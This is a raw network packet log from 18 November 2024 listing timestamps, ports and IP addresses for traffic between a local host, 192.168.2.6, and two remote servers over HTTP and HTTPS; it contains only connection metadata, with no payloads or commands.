Nov 18, 2024 05:57:55.501262903 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.538279057 CET	443	60469	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.538372040 CET	443	60469	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.538577080 CET	60469	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.538654089 CET	60469	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.538676977 CET	443	60469	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.538693905 CET	60469	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.538701057 CET	443	60469	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.541104078 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541126013 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541145086 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541215897 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541234016 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541253090 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541286945 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.541286945 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.541286945 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.541295052 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541313887 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541337013 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.541343927 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541363001 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541383982 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541404009 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.541413069 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541441917 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541450024 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.541462898 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541480064 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.541481972 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541501045 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541520119 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541539907 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.541539907 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541558981 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541559935 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.541599989 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541620970 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541659117 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541661024 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.541661024 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.541695118 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541732073 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.541773081 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541812897 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541831017 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541874886 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541893959 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541918993 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541937113 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541956902 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.541956902 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.541956902 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.541969061 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.541985035 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542001963 CET	60474	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.542004108 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542023897 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542028904 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.542038918 CET	443	60474	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.542042017 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542064905 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.542072058 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542074919 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.542089939 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542107105 CET	60474	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.542119026 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542138100 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542150974 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.542160988 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542229891 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542234898 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.542248964 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542282104 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542295933 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.542299986 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542332888 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542350054 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542368889 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542386055 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542406082 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.542406082 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.542406082 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.542407036 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542435884 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542454958 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542474985 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542496920 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542515039 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.542515039 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.542545080 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.542562962 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542591095 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542613029 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542630911 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542649031 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542654991 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.542666912 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542669058 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.542686939 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542704105 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542723894 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542737007 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.542737007 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.542793989 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542813063 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542829990 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542859077 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542860031 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.542860031 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.542876959 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542895079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542916059 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.542936087 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543016911 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.543016911 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.543020964 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543047905 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543066978 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543085098 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543102980 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543121099 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.543121099 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.543122053 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543143988 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543158054 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543164968 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.543179035 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543194056 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.543195963 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543232918 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.543236971 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543256998 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543275118 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543292999 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.543329954 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543333054 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.543349028 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543370008 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543373108 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.543385029 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.543385983 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543459892 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543492079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543512106 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543519020 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.543529034 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543549061 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.543549061 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543559074 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.543566942 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.543623924 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.544229031 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.550688028 CET	60474	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.550714970 CET	443	60474	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.583214045 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.583234072 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.583265066 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.583282948 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.583307981 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.583611012 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.613610029 CET	443	60470	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.615145922 CET	60470	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.615180969 CET	443	60470	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.615488052 CET	60470	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.615495920 CET	443	60470	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.620632887 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.620663881 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.620682001 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.620699883 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.620718956 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.620737076 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.620738029 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.620964050 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.620964050 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.660087109 CET	443	60471	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.660619974 CET	60471	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.660634995 CET	443	60471	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.660773039 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.660793066 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.660810947 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.660861015 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.661211967 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661231995 CET	60471	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.661238909 CET	443	60471	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.661256075 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.661312103 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661330938 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661361933 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661381006 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661396980 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.661401033 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661422014 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661449909 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661467075 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661469936 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.661469936 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.661497116 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661515951 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661534071 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661554098 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.661554098 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.661565065 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661583900 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661602974 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661622047 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661640882 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661672115 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661676884 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.661676884 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.661676884 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.661690950 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661709070 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661731005 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661747932 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661766052 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661798954 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661815882 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.661815882 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.661815882 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.661818981 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661837101 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661855936 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661874056 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661892891 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661910057 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661938906 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661957026 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661974907 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.661993027 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662012100 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662029982 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662050009 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662075043 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662094116 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662101030 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.662101030 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.662101030 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.662101030 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.662101030 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.662101030 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.662101030 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.662111044 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662132978 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662154913 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.662162066 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662180901 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662199020 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662219048 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662224054 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.662224054 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.662242889 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662259102 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662277937 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662285089 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.662297010 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662316084 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662338018 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662355900 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662394047 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662395954 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.662395954 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.662395954 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.662412882 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662432909 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662451982 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662470102 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662476063 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.662476063 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.662539005 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.662611961 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662659883 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662678957 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662708044 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662725925 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662775993 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.662775993 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.662878036 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662897110 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662928104 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662931919 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.662945986 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662965059 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.662983894 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663003922 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.663003922 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.663083076 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663101912 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663121939 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663136959 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.663140059 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663157940 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.663157940 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663177013 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663209915 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663238049 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663252115 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.663268089 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663286924 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663288116 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.663305044 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663310051 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.663331985 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663351059 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663367987 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663387060 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.663388014 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663399935 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.663418055 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663438082 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663455963 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663474083 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.663474083 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.663477898 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663505077 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663517952 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.663525105 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663542986 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663562059 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663578987 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663598061 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663614988 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.663614988 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.663616896 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663638115 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.663714886 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.663714886 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.664654970 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.665956020 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.703157902 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.703180075 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.703212976 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.703228951 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.703263044 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.703284025 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.740403891 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.740436077 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.740456104 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.740474939 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.740494013 CET	80	60438	185.215.113.16	192.168.2.6
